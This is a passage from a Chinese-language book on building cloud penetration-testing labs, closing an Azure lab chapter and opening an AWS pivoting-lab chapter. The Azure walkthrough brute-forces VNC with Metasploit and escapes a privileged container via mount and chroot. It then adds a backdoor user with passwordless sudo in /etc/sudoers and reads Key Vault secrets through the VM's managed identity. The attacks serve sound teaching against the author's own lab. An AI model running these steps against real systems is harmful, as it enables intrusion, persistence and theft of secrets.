msfconsole这将启动 Metasploit Framework 控制台,类似于我们在 图 5**.26 中看到的:
![]()
图 5.26 – Metasploit Framework 控制台
请注意,
msfconsole可能需要一两分钟才能准备好。
注意
如果你还不知道,Metasploit Framework 是一个使用 Ruby 语言编写的框架!即使你之前没有使用 Ruby 编写脚本或构建应用程序,你也能理解用这种语言编写的代码。若想了解扫描器背后的工作原理,可以查看官方的 Metasploit Framework GitHub 仓库:github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/vnc/vnc_login.rb。
-
现在,在
msfconsole中运行以下命令:search vnc login这将搜索模块数据库并返回一组结果,类似于我们在 图 5**.27 中看到的:
![]()
图 5.27 – 执行搜索 VNC 登录命令后的结果
由于我们计划通过 VNC 扫描并尝试登录,我们将在下一步中选择第一个(auxiliary/scanner/vnc/vnc_login)。
注意
在这里,你会注意到模块路径(auxiliary/scanner/vnc/vnc_login)与文件路径(auxiliary/scanner/vnc/vnc_login.rb)匹配,其中 Ruby 代码存储在 modules 目录中(没有 .rb 文件扩展名)。这意味着,如果我们需要检查一个模块的实现方式,我们可以直接在 Metasploit Framework GitHub 仓库中找到对应的文件。
-
接下来,执行以下命令以使用 VNC 登录辅助扫描器模块:
use auxiliary/scanner/vnc/vnc_login运行此命令将使系统准备好继续配置和执行模块。
-
现在我们已经选择了 VNC 登录辅助扫描器模块,让我们运行以下命令来配置
RHOST(远程主机)变量,使用目标虚拟机的私有 IP 地址:set RHOST <PRIVATE IP ADDRESS OF TARGET VM>在运行命令之前,请确保将<目标虚拟机的私有 IP 地址>替换为目标虚拟机实例的私有 IP 地址。
-
在运行扫描器之前,让我们快速检查一下我们拥有的设置和选项:
show options这应该返回一个模块选项列表,类似于图 5**.28中的内容:
![]()
图 5.28 – 执行显示选项命令后的输出
在这里,我们可以看到每个模块选项的描述,以及哪些选项是必需的。如图 5
.28所示,所有必需选项已经设置好。 -
一切准备就绪后,让我们运行扫描器:
run这应该给我们以下结果:
![]()
图 5.29 – 执行运行命令后的输出
在这里,我们可以看到我们应该能够使用
password登录。哇!虽然这可能看起来有点太容易了,但用户和管理员经常忽视更改默认或弱密码的重要性,从而为渗透测试中的利用提供了方便的入口点。 -
现在,让我们退出
msfconsole:exit -
回到我们的终端控制台(已经退出msfconsole),让我们运行以下命令来检查
$TARGET_IP变量值是否仍然设置:echo $TARGET_IP如果不能,只需再次将其设置为目标虚拟机实例的私有 IP 地址。
-
让我们检查是否能够登录 VNC 服务器:
vncviewer $TARGET_IP在使用
password作为密码后,应该会打开一个类似于图 5**.30中的窗口:![]()
图 5.30 – 使用 vncviewer 访问 Metasploitable 2 容器
在这里,重要的是要注意我们正在运行在 VM 实例内部的 Metasploitable 2 容器中。我们如何知道这一点? 嗯,首先,我们设计并构建了这个渗透测试实验室设置! 开玩笑的,我们将在接下来的步骤中确认这一点。
注意
请注意,作为替代,我们可以运行echo "password" | vncviewer $TARGET_IP -autopass来完成相同的操作。
-
让我们在**TightVNC: root’s X
**desktop窗口内的终端窗口中运行以下命令:id这应该返回
uid=0(root)** **gid=0(root) groups=0(root)。 -
接下来,运行以下命令:
lsb_release -a我们将看到我们正在在一个
Ubuntu 8.04“环境”中运行此命令,类似于图 5**.31所示:![]()
图 5.31 – 在容器内运行 lsb_release -a 后的结果
这是预期结果,因为我们在目标虚拟机实例内部运行的 Metasploitable 2 容器中。
注意
请注意,这只是利用Metasploitable 2的方式之一。有关更多信息,欢迎访问docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/。
第三部分,第四部分 – 突破容器限制
此时,我们目前处于运行中的 Metasploitable 2 容器内。现在,让我们检查是否能够突破容器限制!

图 5.32 – 突破容器限制
容器突破技术涉及利用 Docker 环境中的漏洞,获取容器外的未经授权的访问权限。技术手段从内核漏洞、共享命名空间到不安全的容器配置不等。在这一部分,我们将运行一系列命令突破处于特权模式下的容器:
-
让我们快速检查并列出所有现有的磁盘分区,使用
fdisk -l命令:fdisk -l这应该显示系统上的磁盘分区,提供关于其大小、类型和文件系统的信息,类似于图 5.34所示:
![]()
图 5.33 – 运行 fdisk -l 命令后的输出
在这里,我们可以看到,我们可以尝试将
/dev/sda1分区挂载到/mnt(这是我们在下一步中将要做的!)。 -
接下来,让我们使用以下命令将
/dev/sda1分区挂载到/mnt目录:mount /dev/sda1 /mnt -
让我们进入
/mnt目录,然后在该目录内执行chroot:cd /mnt chroot .在这里,我们使用
chroot命令来突破容器的限制。 -
使用以下命令检查当前用户的身份信息:
id这应该输出以下内容:
uid=0(root) gid=0(root) groups=0(root) -
让我们使用以下命令检查操作系统的具体发行版和版本:
lsb_release -a你会惊讶地发现我们现在看到的是
Ubuntu 22.02 LTS,而不是Ubuntu 8.04!![]()
图 5.34 – 运行 lsb_release -a 命令后的输出
这意味着我们已经成功地突破了容器的限制,并且应该能够以虚拟机实例的 root 用户身份运行某些命令!
注意
运行带有--privileged标志的容器授予容器对主机系统资源的无限制访问权限。由于启用此标志时隔离和安全机制被禁用,因此攻击者(或充当攻击者的人)可以使用各种容器突破技术突破容器的限制。我们不会深入讨论这个话题的细节,欢迎查阅其他在线资源。
-
打开一个 Firefox 浏览器(在 Kali Linux 桌面环境中),并导航到以下网址:
bit.ly/create-ssh-user这应该打开一个页面,类似于图 5.35所示:
![]()
图 5.35 – 我们将在接下来的步骤中使用的命令
这里,我们有一个参考命令的列表,将在后续步骤中使用。虽然这一步是可选的,但拥有一个备忘单或参考资料会很方便,因为在键入和运行这些命令时,我们可能会不小心漏掉一个或两个字符!
注意
这个缩短的链接将打开以下 GitHub Gist:gist.githubusercontent.com/joshualat/bec319f607001e1ffd69d41d031a5526/raw/030e7efc13bddfb64fb50935fe0487054589dcdc/create_user.sh。
-
现在,返回 VNC 查看器窗口内的终端(TightVNC: root 的 X 桌面)。让我们通过运行以下命令(逐行)创建一个新用户:
NEW_USER=new_user adduser --disabled-password --gecos "" $NEW_USER echo "$NEW_USER ALL=(ALL) NOPASSWD:ALL" | tee -a /etc/sudoers >/dev/null
重要提示
在键入和运行这些命令时要小心!确保检查所使用的命令、标志和参数的拼写和大小写。最后,也要注意空格。
-
接下来,通过运行以下命令(逐行)设置新用户的 SSH 访问所需的先决条件:
mkdir -p /home/$NEW_USER/.ssh chown $NEW_USER:$NEW_USER /home/$NEW_USER/.ssh chmod 700 /home/$NEW_USER/.ssh echo "$NEW_USER:password" | chpasswd systemctl restart ssh运行前一个命令块中的最后一行后,我们应该会收到一个
System has not been booted with systemd as init system...消息,类似于图 5**.36所示:![]()
图 5.36 – 创建一个新的 SSH 用户
此时,我们应该能够通过 SSH 直接访问 VM 实例,使用
new_user用户。 -
关闭 VNC 查看器(TightVNC: root 的 X 桌面)窗口,以及关闭 Firefox 浏览器窗口。
-
回到我们的终端 shell(之前我们运行过**vncviewer \(TARGET_IP**),快速检查`\)TARGET_IP`变量值是否仍设置为目标 VM 实例的私有 IP 地址:
echo $TARGET_IP这将产生一个类似于
10.0.1.4的 IP 地址值。
注意
如果您在终端中键入时遇到奇怪的字符,请简单地关闭 noVNC 浏览器标签页(我们可以访问 Kali Linux 桌面环境的地方)。之后,在新的浏览器标签页中重新打开它,并检查问题是否已解决。
-
让我们检查我们是否能够为新用户正确设置 SSH 访问(类似于图 5**.37):
![]()
图 5.37 – 使用 new_user 帐户通过 SSH 访问目标实例
在这里,我们将尝试使用上一组步骤中创建的
new_user帐户进行身份验证。准备就绪后,运行以下命令:
ssh new_user@$TARGET_IP在提示输入密码时,请使用
password继续:![]()
图 5.38 – 通过 SSH 访问目标 VM
如果所有步骤都正确执行,我们应该能够通过 SSH 访问目标 VM 实例,类似于图 5**.38。
-
最后,让我们使用以下命令切换到
root用户:sudo su这不是很有趣吗? 现在,让我们继续搜索标志!
第四部分/4 – 定位标志
按照这些步骤操作:
-
让我们通过运行以下命令来定位第一个标志:
find / -type f -name "flag*"这将搜索整个文件系统,查找文件名以
flag开头的文件。几分钟后,我们应该会得到一个结果列表,其中包括/root/flag1.txt文件:... /root/flag1.txt ... -
现在,让我们检查
/root/flag1.txt文件的内容:cat /root/flag1.txt这应该会给我们
FLAG # 1!。完成一个,剩下一个!
注意
在设置渗透测试实验室环境时,您可以随意使用加密哈希函数或随机字符串生成器生成唯一的标志值。
-
让我们检查 Azure CLI 是否已安装:
which az这应该会返回
/usr/bin/az路径。 -
现在,使用以下命令检查版本:
az --version这应该会给我们工具的版本号(以及其依赖项),类似于图 5.39所示:
![]()
图 5.39 – 运行 az --version 命令后的结果
在这里,我们可以看到版本
2.49.0当前已安装在目标 VM 实例中。现在我们已经验证了可以在 VM 实例内使用 Azure CLI,让我们尝试使用以下命令进行登录:az login --identity在这里,我们使用 VM 实例的系统分配托管身份进行身份验证,无需(显式)提供凭据:
![]()
图 5.40 – 运行 az login --identity 命令后的结果
在图 5.40中,我们可以看到我们已经使用目标 VM 实例的系统分配身份进行了登录。
-
让我们检查是否可以使用 Azure CLI(在 VM 实例内)从终端列出所有 Azure Key Vault,类似于图 5.41所示:
![]()
图 5.41 – 从 VM 实例访问 Azure Key Vault
我们可以通过 Azure CLI 检查一些内容,但我们将继续检查 Azure Key Vault 资源,因为我们正在验证实验环境是否已正确配置。
话虽如此,让我们运行以下命令:
az keyvault list这应该会返回一个嵌套结构,类似于图 5.42所示:
![]()
图 5.42 – 运行 az keyvault list 命令后的结果
等一下!我们是怎么能够使用
az keyvault list命令的?看起来目标 VM 实例的系统分配身份允许我们进行身份验证并与 Azure Key Vault 互动,而无需显式的身份验证凭据或秘密!
重要提示
请注意,根据您在 target_vm/main.tf Terraform 配置文件中配置的 azurerm_key_vault.keyvault 资源,您将获得不同的金库名称值。
-
接下来,让我们运行以下命令列出存储在
rg-01-key-vault中的所有秘密:az keyvault secret list --vault-name rg-01-key-vault确保将
rg-01-key-vault替换为您在上一步骤中运行命令后获取的实际金库 名称 值。这应该会返回一个嵌套结构,类似于图 5.43所示:![]()
图 5.43 – 运行 az keyvault secret list 命令后的结果
在这里,我们可以看到我们存储了一个名为
flag2的密钥。这个密钥映射的值是什么? 我们将在下一步中找出! -
最后,让我们检索
flag2密钥的值。再次确保你用实际的 Key Vault 名称替换az keyvault list命令运行后检索到的rg-01-key-vault:az keyvault secret show --vault-name rg-01-key-vault --name "flag2"这应该返回一个类似于我们在 图 5**.44 中看到的嵌套的 JSON 输出:
![]()
图 5.44 – 运行 az keyvault secret show 命令后的结果
在这里,我们可以看到
flag2密钥的值是FLAG #** **2!。 -
让我们运行相同的命令,这次将
"value"指定为--query参数值。确保你用运行az keyvault list命令后检索到的 Key Vaultname值替换rg-01-key-vault:az keyvault secret show --vault-name rg-01-key-vault --name "flag2" --query "value"而不是嵌套的 JSON 输出,我们应该得到
FLAG # 2!字符串值。看起来我们成功检索到了 第二个标志!
注意
需要注意的是,我们只是初步了解了 Azure Key Vault 的功能。欲了解更多信息,请访问 learn.microsoft.com/en-us/azure/key-vault/general/manage-with-cli2。
现在,你可能很兴奋尝试其他漏洞利用和技术!鉴于我们已自动化设置过程,我们只需运行 terraform destroy -auto-approve 来删除资源,然后再次运行 terraform apply -auto-approve 来重新构建整个环境。请注意,也可以通过运行类似以下的(一行)命令来仅重建环境的特定组件:
terraform apply -replace=module.target_vm.azurerm_linux_virtual_machine.vm_target -auto-approve
运行此命令将销毁并重新创建目标 VM 实例,以及与之相关或依赖于它的其他资源。鉴于渗透测试活动可能导致基础设施处于不稳定或配置错误的状态,重建基础设施将使其恢复到期望的状态。
注意
首先, new_user 用户不应该存在,对吧? 也就是说,重新创建目标 VM 实例(以及环境中的其他资源)将使设置恢复到“未触及”的状态。
清理中
清理我们创建或部署的云资源是处理易受攻击的云应用和环境时的关键步骤。如果我们不立即清理和删除我们创建的资源,可能会导致支付未使用的云资源费用。此外,这些云资源可能会受到恶意用户的攻击。至少,我们将支付以下资源运行的时间:
-
1 x
Standard_DS1_v2Azure VM 实例用于攻击者机器 -
1 x
Standard_D2s_v3Azure VM 实例用于目标机器
请注意,我们还需要考虑其他费用——包括数据传输费用、实例使用的持久数据存储成本,以及账户中可能使用的其他 Azure 服务的费用,还有与 Azure 资源使用相关的任何适用税费。
注释
由于运行这些资源的总体成本取决于多个参数,因此最好参考云平台提供的定价文档页面:azure.microsoft.com/en-us/pricing/details/virtual-machines/。由于我们在实验环境中使用了 Azure Key Vault,也可以查看以下页面:azure.microsoft.com/en-us/pricing/details/key-vault/。你还可以使用Azure 定价计算器来估算在 Azure 上部署资源的成本。可以通过以下链接访问 Azure 定价计算器:azure.microsoft.com/en-us/pricing/calculator/.
话虽如此,让我们继续删除本章中创建的资源:
-
关闭我们用来访问 Kali Linux 桌面环境的浏览器标签。
-
在 Cloud Shell 终端中,导航到
~/pentest_lab目录,然后使用terraform destroy来清理我们之前创建的资源:cd ~/pentest_lab terraform destroy -auto-approve如果有些资源未能删除(或删除需要一点时间),可以多次运行
terraform destroy命令。或者,如果失败了,你也可以通过用户界面手动删除资源。
注释
此步骤可能需要 10 到 15 分钟才能完成。
-
使用以下命令验证资源是否已成功销毁:
terraform show这应该返回空响应,因为所有资源应该已成功删除。
重要提示
你可以自由地对你的 Microsoft Azure 账户进行全面审核。这将帮助确保所有资源已正确删除,减少意外费用的风险,并解决任何潜在的安全问题。
就是这样!此时,我们应该已经对如何在 Microsoft Azure 上准备渗透测试实验环境有了清晰的了解。我们在上一节中进行的渗透测试模拟应验证我们实验环境是否已被(错误)配置正确。
总结
本章我们重点讲解了如何在 Microsoft Azure 上设置渗透测试实验环境。我们准备了一个按设计存在漏洞的实验环境,在这里我们可以练习容器突破技术,以便获得对宿主系统的未授权访问。我们的实验环境还突出了在 Azure 中托管身份的潜在误用,因为这些身份无意中为攻击者创造了其他可利用的攻击路径。在设置好一切后,我们进行了渗透测试模拟,验证我们的实验环境是否已被(误)配置正确。
在下一章,我们的重点将转向在 AWS 上准备渗透测试实验环境。除了设置一个隔离的网络环境外,我们还将专注于准备一个实验环境,在这里我们可以练习枢轴技术,通过最初被攻破的机器访问内部系统和网络。如果你迫不及待地想学习如何建立一个枢轴实验室,那么下一章将非常适合你!
进一步阅读
关于本章涵盖主题的更多信息,以下资源可能会对您有所帮助:
-
从您的应用程序连接到资源而无需处理 凭证 (
learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview-for-developers?tabs=portal%2Cdotnet) -
Azure 资源的托管身份如何与 Azure 虚拟 机 配合使用 (
learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/how-managed-identities-work-vm) -
Azure Key Vault 中的身份验证 (
learn.microsoft.com/en-us/azure/key-vault/general/authentication) -
使用 Azure CLI 管理 Key Vault (
learn.microsoft.com/en-us/azure/key-vault/general/manage-with-cli2) -
使用 Azure Key Vault 的最佳实践 (
learn.microsoft.com/en-us/azure/key-vault/general/best-practices) -
Metasploitable 2 可利用性 指南 (
docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/) -
什么是 Microsoft 成本管理和 计费? (
learn.microsoft.com/en-us/azure/cost-management-billing/cost-management-billing-overview) -
如何通过成本 管理 优化你的云投资 (
learn.microsoft.com/en-us/azure/cost-management-billing/costs/cost-mgt-best-practices) -
YouTube 播放列表 – Azure 成本 管理 (
www.youtube.com/playlist?list=PLLasX02E8BPBJW49E5_sHgbgvztb4oz6D)
第六章:在 AWS 上设置隔离的渗透测试实验室环境
如果你曾经在云端的真实项目和系统中工作过,你可能已经意识到,实际的网络环境通常涉及的不仅仅是单一的云资源。为了确保关键资源不被暴露并且无法直接从网络环境外部的资源访问,云资源会被分组,并且会实现涉及安全组、网络访问控制列表和路由规则的适当网络配置。通过分段的网络架构,攻击者可能需要先攻破一个不太安全的系统,然后利用这个被攻破的系统作为跳板,转向内部网络中的关键资源。这种技巧被称为跳板攻击,它涉及使用正确的工具集并按照正确的步骤顺序执行,通过实践可以掌握。如果我们有一个实验环境,能够尝试各种跳板工具和技术该有多好!好消息来了——我们将在本章中在 AWS 上设置一个跳板实验室!
如果你在想什么是跳板实验室,它是一种渗透测试实验室,重点是从一个被攻破的系统跳到目标网络中的另一个系统,并利用这些被攻破的系统(作为跳板)访问其他系统和资源。设置好跳板实验室后,我们将进行渗透测试模拟,验证实验室环境是否正确配置。
也就是说,我们将覆盖以下主题:
-
利用 Terraform 自动设置实验室环境
-
验证网络连接和安全性
-
设置攻击者虚拟机实例
-
在隔离的网络环境中模拟渗透测试
-
清理
话不多说,我们开始吧!
技术要求
在我们开始之前,必须准备好以下内容:
-
一个
Amazon Web** **Services账户 -
任何文本编辑器(如 Notepad++、Visual Studio Code 或 Sublime Text),我们可以暂时存储在本章中使用的特定值(例如,我们本地机器的 IP 地址)
一旦这些准备好,你就可以继续进行下一步了。
重要提示
确保你阅读了相关文档及常见问题解答,以充分了解在 AWS 中创建资源时哪些是免费的(哪些不是)。此外,确保你不要使用任何已有的 AWS 账户进行本书中的实际操作和解决方案,特别是用于生产(或预发布)环境的资源。强烈建议你为启动故意存在漏洞的资源专门创建一个新的AWS 账户。这将确保你的生产(或预发布)环境资源保持独立且安全。
每章使用的源代码和其他文件可以在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/。
利用 Terraform 自动搭建实验室环境
在本章中,我们将在 AWS 中创建一个网络环境,模拟我们在 第四章,在 GCP 上设置隔离的渗透测试实验室环境,以及 第五章,在 Azure 上设置隔离的渗透测试实验室环境 中准备的对等网络配置。需要注意的是,尽管章节标题非常相似,但这些章节中的实验室环境设计存在显著差异。
和之前的章节一样,我们将使用 Terraform 在 AWS 账户中通过各种资源和组件来搭建实验室环境。在进入本章的实践部分之前,我们必须先熟悉一些关键的 AWS 概念和服务。一旦我们对相关的 AWS 概念和服务有了深入的理解,解释和调整 Terraform 配置代码将变得更加容易。如果你还不熟悉 AWS 特定的概念、服务和资源类型,下面是一个简要的概述,帮助你快速入门:
-
亚马逊弹性计算云
(**Amazon EC2): Amazon EC2 是一项计算服务,允许用户租用虚拟服务器(也称为实例或 EC2 实例),在这些服务器上运行、部署和管理各种类型的应用程序。你可以将 EC2 实例看作是在云中运行的笔记本电脑。就像你的笔记本电脑一样,EC2 实例提供了一个虚拟计算环境,你可以在其中安装和运行所需的操作系统、应用程序和软件。然而,与物理笔记本电脑不同,EC2 实例可以根据你的计算需求轻松扩展或缩减。除此之外,EC2 实例可以从任何有互联网连接的地方远程访问和管理。如果你想知道如何访问这些实例,分配的公共和私有 IP 地址用于与 EC2 实例进行通信和访问。实例的 公共 IP 地址 允许该实例访问互联网资源并接收外部请求。另一方面,私有 IP 地址** 用于同一网络环境内资源之间的通信。 -
安全组:安全组充当网络环境中资源(如 EC2 实例)的虚拟防火墙。安全组规则用于定义资源之间的进出流量。例如,如果 EC2 实例的安全组拒绝所有出站流量,那么我们将无法从 EC2 实例内部发起外部通信。同样,如果 EC2 实例的安全组拒绝所有入站流量,那么该 EC2 实例(由安全组保护)将无法接收传入连接或接受传入通信。
-
Amazon 虚拟私有云(Amazon VPC):Amazon VPC 是一项服务,允许用户在 AWS 云中创建和定义隔离的虚拟私有网络环境。在这个网络环境中,用户可以启动各种类型的资源(包括 EC2 实例)。VPC 可以拥有一个或多个 子网(子网络)。子网在 VPC 内有较小的地址范围,是 VPC 网络的一部分,属于较小的网络。根据网络的配置,子网可以是公有子网或私有子网。公有子网的配置允许子网中的实例直接与互联网通信。另一方面,私有子网中的资源(如实例)无法直接与互联网通信,且默认情况下资源没有公共 IP 地址。公有子网和私有子网的配置允许根据安全要求和对直接互联网访问的需求来分离资源:

图 6.1 – 示例 VPC 设置
在图 6.1中,我们有一个包含公共子网和私有子网的示例 VPC。在公共子网中,我们有两个 EC2 实例,EC2 实例 01和EC2 实例 02,它们可以直接与互联网通信——入站和出站流量通过关联的互联网网关进行路由。在私有子网中,我们有一个 EC2 实例(EC2 实例 03)。私有子网中的实例默认没有公网 IP 地址,且通过公共子网中的NAT 网关资源路由出站互联网访问。由于 VPC 中私有子网的资源不允许直接从互联网访问,因此需要注意,实例 03无法从 VPC 外部的资源访问。最后,由于同一 VPC 中的实例在典型配置下可以相互通信(无论它们位于公共子网还是私有子网),因此实例 03应当能够从实例 01和实例 02访问。当然,这建立在正确配置必要的网络配置、安全组和路由设置以允许所需通信的前提下。如果实例 01和/或实例 02被攻击者攻陷了呢?这意味着攻击者现在可以通过在公共子网中被攻陷的实例攻击实例 03(因为实例 03可以从实例 01或实例 02访问)。
重要提示
服务器配置、网络设计和防火墙配置在渗透测试中部署 shell 和执行横向渗透技术时起着重要作用。这些技术的有效性取决于网络设计所允许的内容。例如,严格的防火墙规则和精细配置的网络分段可能会限制某些 shell 的使用(使得攻击过程更加具有挑战性)。
到此为止,我们应该对本章将要使用的相关 AWS 概念和服务有了更好的理解。接下来,让我们讨论一下我们的实验环境应该是什么样的。本章中我们将设置的实验环境将包含一个VPC 对等连接,类似于图 6.2中所示的内容:

图 6.2 – 我们实验环境应该是什么样子
VPC 对等连接使得通过 VPC 内资源的私有 IP 地址,可以在对等的 VPC 之间安全地传输流量。在第一个 VPC 网络中,我们将有两个 EC2(虚拟机)实例,作为目标资源。在第二个 VPC 网络中,我们将设置并准备好攻击者实例。在这两个目标实例中,只有一个实例应该可以从攻击者实例直接访问。除此之外,外部世界的流量(即,来自对等网络环境外的流量)不应当能够访问已部署在网络环境内的资源。这将帮助确保只有授权的用户能够访问已部署在实验环境中的资源。由于目标虚拟机实例被配置为有漏洞,我们不能允许随机攻击者破坏我们的实验环境。
注意
为了简化操作,本章中我们搭建的实验环境将不会有私有子网。两个目标 EC2 实例将被部署在公共子网中——这也省去了设置 NAT 网关(或 NAT 实例)的需要,从而帮助我们降低运行实验环境的总体成本。与典型的由公共和私有子网组成的 VPC 网络设置不同,我们将只有公共子网,通过自定义安全组规则来管理网络流量和连接。完成本章后,欢迎通过引入新的公共和私有子网,以及新的对等 VPC 网络,来构建更复杂的网络架构,其中包含无法直接从攻击者虚拟机实例访问的资源。我会把这个留给你作为练习!
现在我们已经对实验环境有了更清晰的了解,接下来让我们使用 Terraform 来搭建实验环境:
-
使用以下 URL 导航到本书的官方 GitHub 仓库:
https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud我们应该能找到多个文件夹,每个文件夹包含本书各章对应的文件和源代码:
![]()
图 6.3 – 导航到 ch06 目录
导航到
ch06目录,如图 6.3所示。在ch06目录中,我们应该能找到一个pentest_lab.zip文件。接着点击pentest_lab.zip文件的链接。
注意
如果你想知道pentest_lab.zip文件里有什么,它包含了用于搭建本章整个实验环境的 Terraform 代码。在这一章中,我们只需下载代码并运行terraform apply来搭建基础设施。这样,我们可以在构建和测试中继实验环境时,更多地关注其他方面。
-
接下来,右键点击
Download或Raw按钮,如图 6.4所示:![]()
图 6.4 – 复制 pentest_lab.zip 文件的链接地址
从右键菜单中选择复制链接地址,将该字符串值保存在本地机器上的文本编辑器中。
-
现在,让我们打开一个新的浏览器标签页,并使用以下链接访问AWS 管理控制台:
aws.amazon.com/console/。在继续下一步之前,确保你已登录到 AWS 账户。 -
在搜索框中输入
shell,然后从搜索结果中选择CloudShell(如图 6.5所示):![]()
图 6.5 – 导航到 CloudShell 控制台
或者,你可以直接在 AWS 管理控制台的左上角找到并点击
CloudShell按钮(位于区域选择下拉菜单旁边)。 -
定位并点击在新浏览器标签页中打开按钮,如图 6.6所示:
![]()
图 6.6 – 在新浏览器标签页中打开 CloudShell
这将会在新浏览器标签页中打开 CloudShell 环境。当你看到
Welcome to AWS CloudShell弹出窗口时,点击关闭按钮。 -
在 CloudShell 环境的终端(
$符号后)中,运行以下命令来创建pentest_lab项目目录并进入该目录:mkdir -p pentest_lab cd pentest_lab -
接下来,使用以下命令从本书的 GitHub 存储库下载
pentest_lab.zip文件到 CloudShell 环境中的pentest_lab目录:DOWNLOAD_URL=`https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/raw/main/ch06/pentest_lab.zip` wget -O pentest_lab.zip $DOWNLOAD_URL你可以自由地在本地机器的编辑器中设置
$DOWNLOAD_URL变量值,填入你复制的下载链接。确保$DOWNLOAD_URL变量值正确且指向pentest_lab.zip文件。 -
此时,
pentest_lab.zip文件应已从 GitHub 存储库下载到我们的 CloudShell 环境中(位于pentest_lab目录内)。现在,是时候解压它了!使用unzip命令解压 Terraform 配置文件:unzip pentest_lab.zip这应该会解压多个
.tf文件,用于设置本章的整个实验环境。
注意
你可以使用cat或less命令检查每个文件的内容。
-
然后删除
pentest_lab.zip文件:rm pentest_lab.zip -
配置文件准备好后,使用
terraform init命令初始化 Terraform 工作目录:terraform init
注意
如果在运行 Terraform 时遇到no space left on device错误,可以运行du -h --max-depth=1 ~命令来查看 CloudShell 环境中哪个目录占用了较多空间。确认该目录后,可以进行必要的清理操作,再继续进行本章的下一步操作。在删除文件和目录之前,确保你已经备份了所有需要删除的文件和目录。
-
让我们运行
terraform plan命令,预览 Terraform 将要进行的更改:terraform plan该命令应顺利完成,无任何错误。
-
接下来,让我们使用
terraform apply命令来实现更改:terraform apply -auto-approve如果
terraform apply命令运行没有任何错误,我们就可以继续进行下一部分。如果遇到问题(例如,出现Unable to modify EC2 VPC Peering Connection Options错误),只需再次运行terraform apply -auto-approve命令:![]()
图 6.7 – 运行 terraform apply 命令后的结果
除了网络环境,运行
terraform apply命令还将创建三个 EC2 实例——一个t2.micro目标实例标记为target-vm-01,一个t2.micro目标实例标记为target-vm-02,以及一个t3.medium攻击者实例标记为vm-kali。每个实例将有其对应的公共和私有 IP 地址,类似于图 6.7中显示的内容。确保将输出值(即Outputs下的公共和私有 IP 地址)复制到本地机器上的文本编辑器中。请注意,运行terraform apply命令后,您将获得一组不同的 IP 地址。
注意
随时查看使用terraform show命令部署的资源配置。请注意,如果我们要包含一个私有子网并在其中启动另一个目标虚拟机实例,那么我们需要在 Terraform 代码中定义一些额外的资源(例如公共子网中的 NAT 网关),这些资源将增加运行此实验环境的成本。
在进入下一部分之前,让我们快速检查一下目前的配置。在图 6.8中,我们可以看到,在运行terraform apply命令之后,应该会在第一个 VPC 网络(Target VPC)中创建两个目标实例(target-vm-01和target-vm-02),在第二个 VPC 网络(Attacker VPC)中创建一个攻击者实例(vm-kali):

图 6.8 – 当前状态
两个 VPC 网络通过对等连接相连,这允许攻击者实例的流量到达目标实例。当然,正如我们稍后会看到的那样,额外的安全层(例如第二个目标实例使用的安全组)将阻止攻击者实例(vm-kali)的流量直接到达第二个目标实例(target-vm-02)。
注意
在 AWS 中,我们可以配置其他网络组件和资源来管理实验环境中的网络流量和连接性。这些包括网络 ACLs、负载均衡器、路由表配置,以及各种类型的防火墙和网关。本书中我们不会详细讨论这些内容,欢迎查阅进一步阅读部分以获取更多相关信息。
验证网络连接性和安全性
在构建转发实验室时,我们必须测试和验证环境的网络连接性。这将有助于确保网络配置、必要的路由和防火墙规则已经设置好,以促进不同网络段和系统之间的流量移动。
重要提示
即使我们使用自动化工具来构建实验室基础设施,仍然有可能遇到网络连接问题。
有多种方法可以验证网络连接性和安全性。在本节中,我们将以手动方式和自动化方式测试和验证网络连接性。具体来说,本节分为以下子部分:
-
第一部分,共 3 部分 – 授权使用 串行控制台
-
第二部分,共 3 部分 – 使用 ping 测试手动验证网络连接性
-
第三部分,共 3 部分 – 使用可达性分析器验证 网络连接性
事不宜迟,让我们开始吧。
第一部分,共 3 部分 – 授权使用串行控制台
访问 EC2 实例有不同的方法。一个选项是使用EC2 串行控制台,它帮助我们访问 EC2 实例并排除各种问题(例如,启动和网络配置问题)。在通过 EC2 串行控制台访问 EC2 实例之前,我们需要首先启用它:
-
通过在搜索栏中输入ec2 实例,然后从结果列表中选择实例(在功能下)来导航到 EC2 控制台。
-
切换复选框开启(即标记复选框)以选择
vm-kali,然后点击连接按钮。这将把你重定向到连接到实例页面。 -
在最后一个标签页(EC2 串行控制台)中,如果你尚未在账户中授权使用 EC2 串行控制台,只需点击管理访问权限按钮,如图 6.9所示:
![]()
图 6.9 – 账户尚未授权使用 EC2 串行控制台
点击管理访问权限按钮后,只需切换允许复选框开启(即标记复选框),然后点击更新按钮,以授权在你的 AWS 账户中使用 EC2 串行控制台。
-
返回到 EC2 实例列表(通过侧边栏)。切换复选框开启以选择
vm-kali,然后点击连接按钮。这将把你重定向到连接到实例页面。 -
在最后一个标签页(EC2 串行控制台)中,点击连接按钮,通过
EC2**串行控制台**访问实例。
注意
在串行控制台中,如果看到空白的黑屏,只需按下Enter键,即可看到root@kali:~#命令提示符。如果你在访问攻击者虚拟机实例(vm-kali)时遇到问题,可以重新启动 EC2 实例,然后再次通过 EC2 串行控制台尝试访问。
第二部分,共 3 部分 – 使用 ping 测试手动验证网络连接性
使用ping命令,我们将快速测试我们实验室网络内已部署的不同资源之间的网络连接性:
-
接着上一步的内容,让我们检查是否能够通过攻击者虚拟机实例
vm-kali的私有 IP 地址 ping 通第一个目标虚拟机实例target-vm-01(类似于图 6**.10所示):![]()
图 6.10 – 从攻击者实例 ping 通第一个目标实例(示意图)
在这里,我们预计第一个目标虚拟机实例
target-vm-01将可以从攻击者虚拟机实例vm-kali访问。考虑到这一点,让我们在 EC2 串行控制台中运行以下命令:
ping <TARGET VM 01 PRIVATE IP>确保将
<TARGET VM 01 PRIVATE IP>替换为第一个目标虚拟机实例的私有 IP 地址(即运行terraform** **apply后得到的vm_target_private_ip输出值):![]()
图 6.11 – 从攻击者实例 ping 通第一个目标实例
如图 6**.11所示,我们可以通过攻击者虚拟机实例
vm-kali的私有 IP 地址 ping 通第一个目标虚拟机实例target-vm-01。
注意
如果需要,可以使用Ctrl + C来停止ping命令。
-
现在,让我们检查是否能够通过攻击者虚拟机实例
